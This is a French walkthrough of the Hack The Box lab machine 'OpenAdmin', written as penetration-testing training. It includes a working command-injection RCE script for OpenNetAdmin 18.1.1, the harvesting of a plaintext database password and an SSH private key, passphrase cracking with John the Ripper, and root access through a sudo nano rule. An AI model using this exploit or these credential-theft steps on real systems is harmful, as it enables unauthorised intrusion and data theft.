On se retrouve aujourd’hui pour le walkthrough de la machine “OpenAdmin” d’Hack The Box. C’est encore une fois une box très accessible et idéale comme entrée en matière dans le domaine du pentest.
Première approche
Comme d’habitude, on commence par faire un scan des ports avec nmap.
On utilise ici les options -A pour la détection de l’os et des versions des services, -p- pour scanner tous les ports (et non uniquement les 1000 ports les plus communs) et -T4 pour régler la politique de temporisation (de 0 à 5, du moins rapide au plus rapide).
$ nmap -A -p- -T4 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.064s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open ssl/http Apache/2.4.29 (Ubuntu)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=5/3%OT=22%CT=1%CU=34192%PV=Y%DS=2%DC=T%G=Y%TM=5EADFFAA
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SEQ(S
OS:P=FB%GCD=1%ISR=106%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M
OS:54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=712
OS:0%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%
OS:CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPC
OS:K=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 63.77 ms 10.10.14.1
2 62.19 ms 10.10.10.171
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 275.83 seconds
On a donc ici un serveur web en HTTP (port 80). Allons faire un tour sur le site pour voir s’il y a quelque chose d’intéressant.
On retrouve ici la page par défaut d’un serveur Apache2, rien d’intéressant ici.
On peut alors se lancer dans la recherche de pages et dossiers du site avec dirbuster et la wordlist “directory-list-2.3-medium.txt”.
On peut alors aller faire un tour sur la première page trouvée : “/ona”.
Bingo ! On tombe alors sur un panneau de configuration où on note entre autres la version du système utilisé. On peut cliquer sur le bouton “DOWNLOAD” pour espérer trouver le nom de l’environnement.
OpenNetAdmin exploit
On a donc ici affaire à OpenNetAdmin version 18.1.1 : on peut alors rechercher sur internet un exploit et on trouve rapidement une RCE (Remote Code Execution) pour cette version d’OpenNetAdmin (https://www.exploit-db.com/exploits/47691)
On va donc utiliser le script suivant.
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
On l’exécute avec en paramètre l’adresse du service OpenNetAdmin et on récupère un shell en tant que “www-data”.
$ sudo /bin/bash ona.sh http;//10.10.10.171/ona/
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
On peut ainsi commencer l’exploration : cherchons dans un premier temps les différents utilisateurs.
$ ls /home
jimmy
joanna
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
On trouve donc deux utilisateurs intéressants : jimmy et joanna.
Own user
On commence ainsi les recherches. On peut avoir l’idée de chercher dans les dossiers réservés à OpenNetAdmin et on trouve ainsi le dossier /opt/ona/www/local/config dans lequel des fichiers semblent intéressants.
$ ls /opt/ona/www/local/config
database_settings.inc.php
motd.txt.example
run_installer
$ cat /opt/ona/www/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
On trouve ici le mot de passe “n1nj4W4rri0R!” et on peut alors essayer de se connecter via ssh en tant que jimmy ou joanna avec ce mot de passe.
$ ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun May 3 00:39:07 UTC 2020
System load: 0.0 Processes: 159
Usage of /: 49.9% of 7.81GB Users logged in: 2
Memory usage: 24% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
41 packages can be updated.
12 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat May 2 23:19:04 2020 from 10.10.14.229
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
Bingo ! On est maintenant connecté en tant que jimmy.
Malheureusement, cet utilisateur ne contient pas le flag user : on va donc chercher à se connecter en tant que joanna.
On continue alors notre exploration de la même manière, jusqu’à tomber sur le dossier /var/www/ qui contient un fichier très intéressant.
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
On voit ici que la clé privée ssh de joanna est affichée via le “main.php”. On peut alors essayer de curl cette adresse pour récupérer cette clé.
jimmy@openadmin:/var/www/internal$ curl http://localhost/main.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at localhost Port 80</address>
</body></html>
Le serveur nous retourne un “404 Not found” alors que la page est bien là : cherchons d’où vient le problème.
On peut alors utiliser netstat pour voir les ports ouverts.
immy@openadmin:/var/www/internal$ netstat -tu
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 openadmin:ssh 10.10.14.229:44198 ESTABLISHED
tcp 0 0 openadmin:ssh 10.10.14.229:44608 ESTABLISHED
tcp 0 0 openadmin:59812 10.10.14.246:4444 CLOSE_WAIT
tcp 0 0 openadmin:ssh 10.10.14.246:51032 ESTABLISHED
tcp 0 0 openadmin:59888 10.10.14.246:4444 ESTABLISHED
tcp 0 0 openadmin:ssh 10.10.15.76:40948 ESTABLISHED
tcp 0 300 openadmin:ssh 10.10.15.57:46676 ESTABLISHED
tcp 0 0 openadmin:59088 10.10.14.229:9001 ESTABLISHED
tcp 0 0 localhost:52846 localhost:42372 ESTABLISHED
tcp 0 0 openadmin:59846 10.10.14.246:4444 CLOSE_WAIT
tcp 0 0 localhost:42372 localhost:52846 ESTABLISHED
tcp6 0 0 openadmin:http 10.10.14.198:42830 TIME_WAIT
tcp6 0 0 openadmin:http 10.10.15.123:52922 TIME_WAIT
tcp6 0 0 openadmin:http 10.10.14.229:56788 ESTABLISHED
tcp6 1 0 openadmin:http 10.10.14.246:44672 CLOSE_WAIT
tcp6 0 0 openadmin:http 10.10.14.246:44758 ESTABLISHED
On essaie de curl sur les différents ports avec comme status “ETABLISHED” pour localhost.
jimmy@openadmin:/var/www/internal$ curl http://localhost:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Bingo. On récupère ainsi la clé ssh de joanna : on peut ainsi la copier sur notre machine et cracker sa passphrase avec ssh2john et John The Ripper et la fameuse wordlist “rockyou.txt”.
$ nano JOANNA_RSA
$ python /usr/share/john/ssh2john.py JOANNA_RSA > JOANNA_RSA.hash
$ john --wordlist=/root/Bureau/rockyou.txt JOANNA_RSA.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (JOANNA_RSA)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-05-03 03:00) 0.2732g/s 3918Kp/s 3918Kc/s 3918KC/s *7¡Vamos!
Session completed
On trouve finalement “bloodninjas” comme passphrase. On peut alors se connecter via ssh en tant que joanna.
$ chmod 600 JOANNA_RSA
$ ssh -i JOANNA_RSA joanna@10.10.10.171
Enter passphrase for key 'JOANNA_RSA':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun May 3 01:06:19 UTC 2020
System load: 0.0 Processes: 159
Usage of /: 49.9% of 7.81GB Users logged in: 2
Memory usage: 24% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
41 packages can be updated.
12 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun May 3 00:05:58 2020 from 10.10.14.229
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f
On récupère ainsi le flag user, il est l’heure de la privesc !
Own root
Un bon réflexe à adopter quand on commence la privilege escalation est de faire un “sudo -l” pour voir les commandes exécutables avec les droits administrateur par l’utilisateur courant.
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Il est donc possible pour joanna d’exécuter la commande “/bin/nano /opt/priv” en tant que root sans avoir besoin de mot de passe.
A partir de cela, il va être simple de récupérer le flag root car on peut alors ouvrir un nouveau fichier depuis nano.
joanna@openadmin:~$ sudo /bin/nano /opt.priv
On presse ensuite les touches CTRL et R pour ouvrir un nouveau fichier et on rentre le chemin du fichier de flag root.
File to insert [from ./]: /root/root.txt
Et on récupère ainsi le flag !
2f907ed450b361b2c2bf4e8795d5b561
Fin du challenge : une box très sympathique !
Merci d’avoir suivit cet article et à bientôt.